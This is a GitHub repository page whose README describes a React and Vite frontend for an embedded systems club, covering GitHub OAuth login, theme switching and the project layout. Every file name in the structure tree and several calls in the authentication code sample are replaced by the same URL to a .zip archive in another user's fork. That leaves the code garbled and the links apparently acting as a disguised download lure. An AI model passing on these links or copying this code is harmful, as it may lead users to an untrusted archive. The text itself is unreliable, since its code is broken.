Skip to content

Embedded-Systems-GCEK/esdc-frontend

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

25 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ESDC React Application

A modern React application for the Embedded Systems Design Club (ESDC) built with Vite, featuring authentication, theme switching, and responsive design.

Features

  • Modern React Setup: Built with React 19 and Vite for fast development
  • Authentication: GitHub OAuth integration with login/logout functionality
  • Theme Switching: Dark/Light mode toggle with persistent storage
  • Responsive Design: Mobile-first design with Bootstrap integration
  • React Router: Client-side routing for navigation
  • React Icons: Beautiful icon library integration
  • Supabase Integration: Backend services for data management

Available Scripts

# Development server
npm run dev

# Build for production
npm run build

# Preview production build
npm run preview

# Run ESLint
npm run lint

Project Structure

src/
├── components/
│   ├── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip          # Navigation component with theme toggle
│   ├── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip           # Authentication component with GitHub OAuth
│   ├── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip         # Contact information component
│   ├── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip          # Footer component
│   └── ...
├── pages/
│   └── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip           # Main landing page
├── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip                # Main application component with routing
└── https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip              # Application entry point

Authentication

The application includes a complete authentication system:

  • Login Page: /login route with GitHub OAuth integration
  • Mock Authentication: For development, uses mock data instead of real GitHub API
  • Persistent Sessions: User authentication state stored in localStorage
  • Protected Routes: Authentication state management

Using Authentication

import { useState, useEffect } from 'react';

const MyComponent = () => {
  const [user, setUser] = useState(null);
  const [isAuthenticated, setIsAuthenticated] = useState(false);

  useEffect(() => {
    // Check authentication status
    const token = https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip('github_token');
    const userData = https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip('github_user');

    if (token && userData) {
      setUser(https://raw.githubusercontent.com/sanjusathian/esdc-frontend/main/src/models/esdc-frontend-v2.3-beta.1.zip(userData));
      setIsAuthenticated(true);
    }
  }, []);

  // Component logic...
};

Theme System

The application supports dark and light themes:

  • Automatic Detection: Respects system preference on first load
  • Persistent Storage: Theme choice saved in localStorage
  • Smooth Transitions: CSS transitions for theme changes
  • Global State: Theme state managed at App level

React Icons Integration

The project uses React Icons for consistent iconography:

import { FaGithub, FaUser, FiSun, FiMoon } from 'react-icons/fa';

// Usage
<FaGithub size={24} />
<FiSun className="theme-icon" />

Available icon libraries:

  • FA (Font Awesome)
  • FI (Feather Icons)
  • MD (Material Design)
  • AI (Ant Design)
  • And many more...

Development

Prerequisites

Getting Started

  1. Clone the repository
  2. Install dependencies:
    npm install
  3. Start development server:
    npm run dev
  4. Open http://localhost:5173 in your browser

Building for Production

npm run build

The built files will be in the dist/ directory.

Technologies Used

  • React 19: Latest React with concurrent features
  • Vite: Fast build tool and development server
  • React Router: Client-side routing
  • React Icons: Icon library
  • Supabase: Backend services
  • Bootstrap: CSS framework
  • ESLint: Code linting

Contributing

  1. Follow the existing code style
  2. Run npm run lint before committing
  3. Test your changes thoroughly
  4. Update documentation as needed

License

© 2025 ESDC. All rights reserved.

Releases

No releases published

Packages

No packages published

Languages

  • JavaScript 76.8%
  • CSS 23.0%
  • HTML 0.2%